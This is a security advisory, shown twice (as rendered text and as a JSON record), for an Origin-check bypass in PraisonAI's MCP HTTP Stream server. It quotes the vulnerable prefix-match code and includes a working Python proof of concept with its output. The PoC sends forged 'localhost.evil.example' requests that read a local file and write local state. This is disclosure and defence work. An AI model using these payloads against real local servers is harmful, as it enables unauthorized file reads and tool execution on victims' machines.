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PYSEC-2026-3896

Vulnerability from pysec - Published: 2026-09-10 09:44 - Updated: 2026-09-10 11:02
VLAI
Details

Summary

PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the Origin header. The default localhost allowlist includes origins such as http://localhost, and the validation accepts any origin that starts with an allowed value.

As a result, an attacker-controlled origin such as http://localhost.evil.example passes the localhost origin check.

When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP tools/call requests against a locally running PraisonAI MCP server.

This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to 127.0.0.1, so this is not a directly internet-facing unauthenticated API in the default configuration.

Details

Relevant source locations:

  • src/praisonai/praisonai/mcp_server/cli.py
  • src/praisonai/praisonai/mcp_server/transports/http_stream.py
  • src/praisonai/praisonai/mcp_server/server.py
  • src/praisonai/praisonai/mcp_server/adapters/__init__.py
  • src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py
  • src/praisonai/praisonai/mcp_server/adapters/cli_tools.py
  • src/praisonai/praisonai/capabilities/files.py

The MCP CLI defaults to HTTP host 127.0.0.1, API key None, and allowed origins None unless explicitly configured:

parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8080)
parser.add_argument("--api-key", default=None)
parser.add_argument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")

The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:

register_all()

server.run_http_stream(
    host=parsed.host,
    port=parsed.port,
    endpoint=parsed.endpoint,
    api_key=parsed.api_key,
    cors_origins=cors_origins,
    allowed_origins=allowed_origins,
    session_ttl=parsed.session_ttl,
    allow_client_termination=allow_termination,
    response_mode=parsed.response_mode,
    resumability_enabled=parsed.resumability,
)

When allowed_origins is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:

if allowed_origins is None:
    if host in ("127.0.0.1", "localhost", "::1"):
        self.allowed_origins = [
            "http://localhost",
            "http://127.0.0.1",
            "https://localhost",
            "https://127.0.0.1",
        ]

The vulnerable validation accepts origins that merely start with an allowlisted value:

for allowed in self.allowed_origins:
    if request_origin == allowed or request_origin.startswith(allowed):
        return True

Because http://localhost.evil.example starts with http://localhost, it is accepted as a trusted localhost origin.

Authentication is only enforced if an API key is configured:

if self.api_key:
    auth_header = request.headers.get("Authorization", "")
    if not auth_header.startswith("Bearer ") or auth_header[7:] != self.api_key:
        return JSONResponse(
            {"error": "Unauthorized"},
            status_code=401,
        )

The request body is then parsed and dispatched to the MCP server:

body = await request.json()
response = await self.server.handle_message(body)

The MCP server handles tools/call by looking up the named tool and invoking the registered handler with attacker-controlled arguments:

tool_name = params.get("name")
arguments = params.get("arguments", {})

tool = self._tool_registry.get(tool_name)

if asyncio.iscoroutinefunction(tool.handler):
    result = await tool.handler(**arguments)
else:
    result = tool.handler(**arguments)

register_all() registers capability tools, extended capability tools, CLI tools, resources, and prompts:

def _register_all():
    register_all_tools()
    register_extended_capability_tools()
    register_cli_tools()
    register_mcp_resources()
    register_mcp_prompts()

One exposed MCP tool is praisonai.files.create, which accepts a local file_path and passes it to file_create():

@register_tool("praisonai.files.create")
def files_create(file_path: str, purpose: str = "assistants") -> str:
    from praisonai.capabilities import file_create
    result = file_create(file=file_path, purpose=purpose)

file_create() opens attacker-selected string paths as local files and passes the file object to LiteLLM:

file_obj = file
if isinstance(file, str):
    file_obj = open(file, 'rb')

response = litellm.create_file(**call_kwargs)

Another exposed MCP tool, praisonai.todo.add, writes attacker-supplied content into local PraisonAI state at ~/.praison/todo.json.

PoC

The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory litellm module so the file-read effect is captured locally and safely.

Run from the repository root with test dependencies installed:

python3 poc_mcp_origin_bypass.py

poc_mcp_origin_bypass.py:

import json
import os
import sys
import tempfile
import types
from pathlib import Path

from starlette.testclient import TestClient

ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))

# Fake litellm so the PoC proves local file read without network exfiltration.
captured = {}
fake_litellm = types.ModuleType("litellm")

def create_file(**kwargs):
    f = kwargs["file"]
    captured["filename"] = getattr(f, "name", "<bytes>")
    captured["content"] = f.read().decode("utf-8")

    class Resp:
        id = "file-safe-local-poc"
        object = "file"
        bytes = len(captured["content"])
        filename = captured["filename"]
        purpose = kwargs.get("purpose")
        status = "processed"

    return Resp()

fake_litellm.create_file = create_file
sys.modules["litellm"] = fake_litellm

from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport
from praisonai.mcp_server.adapters import register_all

register_all()
server = MCPServer(name="praisonai-local-poc")

# Default vulnerable configuration: localhost host, no API key, default allowed origins.
transport = HTTPStreamTransport(
    server=server,
    host="127.0.0.1",
    api_key=None,
    allowed_origins=None,
)
app = transport._create_app()
client = TestClient(app)

with tempfile.TemporaryDirectory() as td:
    os.environ["HOME"] = td

    marker = Path(td) / "safe-marker.txt"
    marker.write_text("SAFE_LOCAL_MARKER_MCP_FILE_READ")

    file_payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "praisonai.files.create",
            "arguments": {
                "file_path": str(marker),
                "purpose": "assistants",
            },
        },
    }

    # Non-localhost malicious origin is blocked.
    blocked = client.post(
        "/mcp",
        data=json.dumps(file_payload),
        headers={
            "Origin": "https://evil.example",
            "Content-Type": "text/plain",
        },
    )

    # Prefix-matching bypass: accepted because it starts with http://localhost.
    bypass = client.post(
        "/mcp",
        data=json.dumps(file_payload),
        headers={
            "Origin": "http://localhost.evil.example",
            "Content-Type": "text/plain",
        },
    )

    todo_payload = {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {
            "name": "praisonai.todo.add",
            "arguments": {
                "content": "SAFE_LOCAL_TODO_MARKER",
                "priority": "high",
            },
        },
    }

    todo = client.post(
        "/mcp",
        data=json.dumps(todo_payload),
        headers={
            "Origin": "http://localhost.evil.example",
            "Content-Type": "text/plain",
        },
    )

    todo_file = Path(td) / ".praison" / "todo.json"

    print(json.dumps({
        "blocked_origin_status": blocked.status_code,
        "bypass_origin_status": bypass.status_code,
        "bypass_response_text": bypass.json().get("result", {}).get("content", [{}])[0].get("text"),
        "captured_file_basename": Path(captured.get("filename", "")).name,
        "captured_file_content": captured.get("content"),
        "todo_status": todo.status_code,
        "todo_response_text": todo.json().get("result", {}).get("content", [{}])[0].get("text"),
        "todo_file_exists": todo_file.exists(),
    }, indent=2))

Observed output:

{
  "blocked_origin_status": 403,
  "bypass_origin_status": 200,
  "bypass_response_text": "File created: file-safe-local-poc",
  "captured_file_basename": "safe-marker.txt",
  "captured_file_content": "SAFE_LOCAL_MARKER_MCP_FILE_READ",
  "todo_status": 200,
  "todo_response_text": "Todo added: 0440613d",
  "todo_file_exists": true
}

The important results are:

  • Origin: https://evil.example is rejected with 403.
  • Origin: http://localhost.evil.example is accepted with 200.
  • The bypassed request invokes praisonai.files.create and reads the local safe marker file.
  • The bypassed request invokes praisonai.todo.add and writes local PraisonAI state.

Impact

A malicious webpage can bypass the localhost Origin allowlist and trigger MCP tools/call requests against a locally running unauthenticated HTTP Stream server.

In local testing, this allowed invoking registered PraisonAI tools that:

  • read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and
  • modify local PraisonAI state by writing to ~/.praison/todo.json.

The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.

Severity
6.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
Impacted products
Name purl
praisonai pkg:pypi/praisonai
Aliases
To clipboard 

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        "name": "praisonai",
        "purl": "pkg:pypi/praisonai"
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      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
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            {
              "fixed": "4.6.58"
            }
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          "type": "ECOSYSTEM"
        }
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  ],
  "aliases": [
    "CVE-2026-55529",
    "GHSA-wj6g-v78p-6fx3"
  ],
  "details": "### Summary\n\nPraisonAI\u0027s MCP HTTP Stream transport uses an unsafe prefix match when validating the `Origin` header. The default localhost allowlist includes origins such as `http://localhost`, and the validation accepts any origin that starts with an allowed value.\n\nAs a result, an attacker-controlled origin such as `http://localhost.evil.example` passes the localhost origin check.\n\nWhen the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP `tools/call` requests against a locally running PraisonAI MCP server.\n\nThis is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to `127.0.0.1`, so this is not a directly internet-facing unauthenticated API in the default configuration.\n\n### Details\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/mcp_server/cli.py`\n- `src/praisonai/praisonai/mcp_server/transports/http_stream.py`\n- `src/praisonai/praisonai/mcp_server/server.py`\n- `src/praisonai/praisonai/mcp_server/adapters/__init__.py`\n- `src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py`\n- `src/praisonai/praisonai/mcp_server/adapters/cli_tools.py`\n- `src/praisonai/praisonai/capabilities/files.py`\n\nThe MCP CLI defaults to HTTP host `127.0.0.1`, API key `None`, and allowed origins `None` unless explicitly configured:\n\n```python\nparser.add_argument(\"--host\", default=\"127.0.0.1\")\nparser.add_argument(\"--port\", type=int, default=8080)\nparser.add_argument(\"--api-key\", default=None)\nparser.add_argument(\"--allowed-origins\", default=None, help=\"Comma-separated allowed origins for security\")\n```\n\nThe CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:\n\n```python\nregister_all()\n\nserver.run_http_stream(\n    host=parsed.host,\n    port=parsed.port,\n    endpoint=parsed.endpoint,\n    api_key=parsed.api_key,\n    cors_origins=cors_origins,\n    allowed_origins=allowed_origins,\n    session_ttl=parsed.session_ttl,\n    allow_client_termination=allow_termination,\n    response_mode=parsed.response_mode,\n    resumability_enabled=parsed.resumability,\n)\n```\n\nWhen `allowed_origins` is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:\n\n```python\nif allowed_origins is None:\n    if host in (\"127.0.0.1\", \"localhost\", \"::1\"):\n        self.allowed_origins = [\n            \"http://localhost\",\n            \"http://127.0.0.1\",\n            \"https://localhost\",\n            \"https://127.0.0.1\",\n        ]\n```\n\nThe vulnerable validation accepts origins that merely start with an allowlisted value:\n\n```python\nfor allowed in self.allowed_origins:\n    if request_origin == allowed or request_origin.startswith(allowed):\n        return True\n```\n\nBecause `http://localhost.evil.example` starts with `http://localhost`, it is accepted as a trusted localhost origin.\n\nAuthentication is only enforced if an API key is configured:\n\n```python\nif self.api_key:\n    auth_header = request.headers.get(\"Authorization\", \"\")\n    if not auth_header.startswith(\"Bearer \") or auth_header[7:] != self.api_key:\n        return JSONResponse(\n            {\"error\": \"Unauthorized\"},\n            status_code=401,\n        )\n```\n\nThe request body is then parsed and dispatched to the MCP server:\n\n```python\nbody = await request.json()\nresponse = await self.server.handle_message(body)\n```\n\nThe MCP server handles `tools/call` by looking up the named tool and invoking the registered handler with attacker-controlled arguments:\n\n```python\ntool_name = params.get(\"name\")\narguments = params.get(\"arguments\", {})\n\ntool = self._tool_registry.get(tool_name)\n\nif asyncio.iscoroutinefunction(tool.handler):\n    result = await tool.handler(**arguments)\nelse:\n    result = tool.handler(**arguments)\n```\n\n`register_all()` registers capability tools, extended capability tools, CLI tools, resources, and prompts:\n\n```python\ndef _register_all():\n    register_all_tools()\n    register_extended_capability_tools()\n    register_cli_tools()\n    register_mcp_resources()\n    register_mcp_prompts()\n```\n\nOne exposed MCP tool is `praisonai.files.create`, which accepts a local `file_path` and passes it to `file_create()`:\n\n```python\n@register_tool(\"praisonai.files.create\")\ndef files_create(file_path: str, purpose: str = \"assistants\") -\u003e str:\n    from praisonai.capabilities import file_create\n    result = file_create(file=file_path, purpose=purpose)\n```\n\n`file_create()` opens attacker-selected string paths as local files and passes the file object to LiteLLM:\n\n```python\nfile_obj = file\nif isinstance(file, str):\n    file_obj = open(file, \u0027rb\u0027)\n\nresponse = litellm.create_file(**call_kwargs)\n```\n\nAnother exposed MCP tool, `praisonai.todo.add`, writes attacker-supplied content into local PraisonAI state at `~/.praison/todo.json`.\n\n### PoC\n\nThe following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory `litellm` module so the file-read effect is captured locally and safely.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_mcp_origin_bypass.py\n```\n\n`poc_mcp_origin_bypass.py`:\n\n```python\nimport json\nimport os\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Fake litellm so the PoC proves local file read without network exfiltration.\ncaptured = {}\nfake_litellm = types.ModuleType(\"litellm\")\n\ndef create_file(**kwargs):\n    f = kwargs[\"file\"]\n    captured[\"filename\"] = getattr(f, \"name\", \"\u003cbytes\u003e\")\n    captured[\"content\"] = f.read().decode(\"utf-8\")\n\n    class Resp:\n        id = \"file-safe-local-poc\"\n        object = \"file\"\n        bytes = len(captured[\"content\"])\n        filename = captured[\"filename\"]\n        purpose = kwargs.get(\"purpose\")\n        status = \"processed\"\n\n    return Resp()\n\nfake_litellm.create_file = create_file\nsys.modules[\"litellm\"] = fake_litellm\n\nfrom praisonai.mcp_server.server import MCPServer\nfrom praisonai.mcp_server.transports.http_stream import HTTPStreamTransport\nfrom praisonai.mcp_server.adapters import register_all\n\nregister_all()\nserver = MCPServer(name=\"praisonai-local-poc\")\n\n# Default vulnerable configuration: localhost host, no API key, default allowed origins.\ntransport = HTTPStreamTransport(\n    server=server,\n    host=\"127.0.0.1\",\n    api_key=None,\n    allowed_origins=None,\n)\napp = transport._create_app()\nclient = TestClient(app)\n\nwith tempfile.TemporaryDirectory() as td:\n    os.environ[\"HOME\"] = td\n\n    marker = Path(td) / \"safe-marker.txt\"\n    marker.write_text(\"SAFE_LOCAL_MARKER_MCP_FILE_READ\")\n\n    file_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"praisonai.files.create\",\n            \"arguments\": {\n                \"file_path\": str(marker),\n                \"purpose\": \"assistants\",\n            },\n        },\n    }\n\n    # Non-localhost malicious origin is blocked.\n    blocked = client.post(\n        \"/mcp\",\n        data=json.dumps(file_payload),\n        headers={\n            \"Origin\": \"https://evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    # Prefix-matching bypass: accepted because it starts with http://localhost.\n    bypass = client.post(\n        \"/mcp\",\n        data=json.dumps(file_payload),\n        headers={\n            \"Origin\": \"http://localhost.evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    todo_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"praisonai.todo.add\",\n            \"arguments\": {\n                \"content\": \"SAFE_LOCAL_TODO_MARKER\",\n                \"priority\": \"high\",\n            },\n        },\n    }\n\n    todo = client.post(\n        \"/mcp\",\n        data=json.dumps(todo_payload),\n        headers={\n            \"Origin\": \"http://localhost.evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    todo_file = Path(td) / \".praison\" / \"todo.json\"\n\n    print(json.dumps({\n        \"blocked_origin_status\": blocked.status_code,\n        \"bypass_origin_status\": bypass.status_code,\n        \"bypass_response_text\": bypass.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n        \"captured_file_basename\": Path(captured.get(\"filename\", \"\")).name,\n        \"captured_file_content\": captured.get(\"content\"),\n        \"todo_status\": todo.status_code,\n        \"todo_response_text\": todo.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n        \"todo_file_exists\": todo_file.exists(),\n    }, indent=2))\n```\n\nObserved output:\n\n```json\n{\n  \"blocked_origin_status\": 403,\n  \"bypass_origin_status\": 200,\n  \"bypass_response_text\": \"File created: file-safe-local-poc\",\n  \"captured_file_basename\": \"safe-marker.txt\",\n  \"captured_file_content\": \"SAFE_LOCAL_MARKER_MCP_FILE_READ\",\n  \"todo_status\": 200,\n  \"todo_response_text\": \"Todo added: 0440613d\",\n  \"todo_file_exists\": true\n}\n```\n\nThe important results are:\n\n- `Origin: https://evil.example` is rejected with `403`.\n- `Origin: http://localhost.evil.example` is accepted with `200`.\n- The bypassed request invokes `praisonai.files.create` and reads the local safe marker file.\n - The bypassed request invokes `praisonai.todo.add` and writes local PraisonAI state.\n\n### Impact\n\nA malicious webpage can bypass the localhost Origin allowlist and trigger MCP `tools/call` requests against a locally running unauthenticated HTTP Stream server.\n\nIn local testing, this allowed invoking registered PraisonAI tools that:\n\n- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and\n- modify local PraisonAI state by writing to `~/.praison/todo.json`.\n\nThe default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.",
  "id": "PYSEC-2026-3896",
  "modified": "2026-09-10T11:02:27.693791Z",
  "published": "2026-09-10T09:44:53.938487Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wj6g-v78p-6fx3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-wj6g-v78p-6fx3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55529"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server"
}



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